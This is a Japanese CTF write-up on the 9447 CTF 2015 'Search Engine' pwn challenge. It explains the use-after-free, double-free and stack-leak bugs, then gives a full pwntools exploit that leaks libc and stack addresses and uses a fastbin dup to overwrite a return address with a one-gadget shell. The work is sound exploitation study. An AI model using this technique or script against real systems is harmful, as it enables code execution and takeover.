Heap exploitation 9447 CTF 2015: Search Engine
Heap exploitのお勉強のためにhttps://github.com/shellphish/how2heapを解いたので(Writeup見ながらだけど)、そのメモ。
問題
fastbin_dup_into_stack
の9447-search-engineを解いた。
問題のリンクはhttps://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine。
リンク先にあるhttps://github.com/pwning/public-writeup/tree/master/9447ctf2015/pwn230-searchとhttps://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/を参考にした。
問題で与えられたプログラムは、文字列の登録と検索して削除する機能がある。
脆弱性
登録した文字列はヒープに格納されるようになっているが、削除でfreeされた後も検索可能になっている脆弱性がある。
削除されるときに0埋めされるので、元々の文字の長さのヌル文字で検索すればもう一度freeすることができる。
これによりuse after freeとdouble freeができるようになっている。
もうひとつの脆弱性は数値を読み込む処理でバッファ長だけ入力するとヌル終端されないバグがあり、スタック上の値を読み込めてしまう脆弱性がある。
全体の流れは、まずヌル終端されていない脆弱性を使い 、うまく調節してスタック中にあるスタックを指すアドレスをリークさせる。
次に、use after freeを使ってsmallbinsのfdをリークさせて、そこからlibcのベースアドレスを計算する。
最後はdouble freeとfastbin dupを使って、同じチャンクをfreeリストに繋ぐことで、スタック上のリターンアドレスのあるアドレスをヒープのアドレスとして取得する。
取得したスタックのアドレスにlibc内にあるone gadgetを指すアドレスを設定して、シェルを起動する。
以上のような流れになる。
学んだこと
use after freeとdouble freeの使われ方。
これまでuse after freeがあるからlibcが分かるとかdouble freeがあるから任意の読み書きができるとかの説明がまったく理解できなかったけど分かるようになった。
fastbin dupをどう使うか。
解説は見てどういう現象が起きるのかは知っていたけど、どう使えるのかが分かってなかった。
2つ問題を解いて、大分イメージできるようになってきた。
exploit
自分で書き直したやつ、雑なのであとで整理したい。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='i386') exe = './search' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('', ) else: return process([exe] + argv, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() def search(word): io.sendline('1') io.sendlineafter('Enter the word size:', str(len(word))) io.sendlineafter('Enter the word:', word) return io.recvline().find('Found') != -1 def index(sentence): io.sendline('2') io.sendlineafter('Enter the sentence size:', str(len(sentence))) io.sendlineafter('Enter the sentence:', sentence) io.recvuntil('Added sentence') if args.DELAY: log.info('* DELAY *') import time time.sleep(3) # スタックポインタをリークさせる # 数値読み込みでのバッファが0x30で、ヌル終端しないので0x30文字入力するとリークさせられる log.info('*LEAK STACK POINTER*') io.clean() io.sendline('A' * 0x60) # スタック上の値によってはリークしない、内部で再帰しているので繰り返し呼び出せる io.recvuntil('is not a valid number') leak_stack = io.recvuntil('is not a valid number') leak_stack = leak_stack[0x31:leak_stack.find(' is not')] leak_stack = u64(leak_stack.ljust(8, '\x00')) log.info('leak stack: 0x{:x}'.format(leak_stack)) # use after freeでfastbinからheapの情報をリーク log.info('*LEAK HEAP FD*') index('A'*50 + ' ' + 'B'*5) index('A'*50 + ' ' + 'B'*5) ## さっき登録した2つのチャンクを両方ともfreeする search('B'*5) io.sendline('y') # 0埋めされてfreeされるが、リンクドリストからは外されない io.sendline('y') # もう片方もfreeしてbinsにつなぐ、これでfdにアドレスが入る search('\x00'*5) # 0埋めされた領域を検索、削除するときに0埋めされるので検索できる io.recvuntil(': ') leak_heap = u64(io.recvuntil('Delete')[:8]) # freeされたチャンクの先頭部分、fdが表示される leak_heap = leak_heap & ~0xfff # almost rest chunk log.info("leak heap: {:x}".format(leak_heap)) io.sendline('n') # smallbinでuse-after-freeでlibc leak log.info('*LEAK SMALLBINS*') index(('C'*256 + ' ' + 'D'*6 + ' ').ljust(512, 'E')) # smallbinを確保 search('D'*6) io.sendline('y') # freeしてfdとbkをセット search('\0'*6) io.recvuntil('Found 512: ') leak_top = u64(io.recvuntil('Delete')[:8]) # topにつながれているfd? log.info("leak top: {:x}".format(leak_top)) io.sendline('n') libc_base = leak_top - 0x3c4b78 io.info("libc base: {:x}".format(libc_base)) # fastbin(0x38)を取得 log.info('* Dobule free *') index('F'*51 + ' ' + 'G'*4) # as chunk a index('H'*51 + ' ' + 'G'*4) # as chunk b index('I'*51 + ' ' + 'G'*4) # as chunk c search('G'*4) io.sendline('y') # free chunk c io.sendline('y') # free chunk b io.sendline('y') # free chunk a # 現在のfreeリスト [head]->a->b->c->NULL # double-freeしてfreeリストで参照させる search('\0'*4) # freeされたノードを検索する # すぐにfreeされるからチャンクが結合されてcがなくなる? io.sendline('y') # chunk bを削除 io.sendline('n') # chunk aは削除しない # TODO: check # freeリストは[head]->b->a->b->...となる # chunk bが取得される offset = 0x52 offset = 0x58 - 14 - 8 # サイズのチェックを突破するため、0x40xxxxが格納された領域の0x40がサイズになるようにずらす log.info('ret addr: 0x{:x}'.format(leak_stack + 0x58)) index(p64(leak_stack + offset).ljust(48, '\0') + ' ' + "J"*7) # TODO: need check # b.fd = stack_ptr (points return address) # [head]->a->b->x # aを取り除く index('K'*48 + ' ' + 'J'*7) # chunk a # [head]->b->x # bを取り除く、このときxはleak_stack + offsetのアドレスになっている index('L'*48 + ' ' + 'J'*7) # chunk b # [head]->x # leak_stack + offset、つまりリターンアドレスがmallocの返り値になっている ret = 0x400896 # points `ret` inst onegadget_offset = 0x45216 onegadget_offset = 0x4526a system_magic = libc_base + onegadget_offset index(('A'*6 + p64(system_magic)).ljust(56, 'L')) io.sendline('3') io.clean() io.interactive()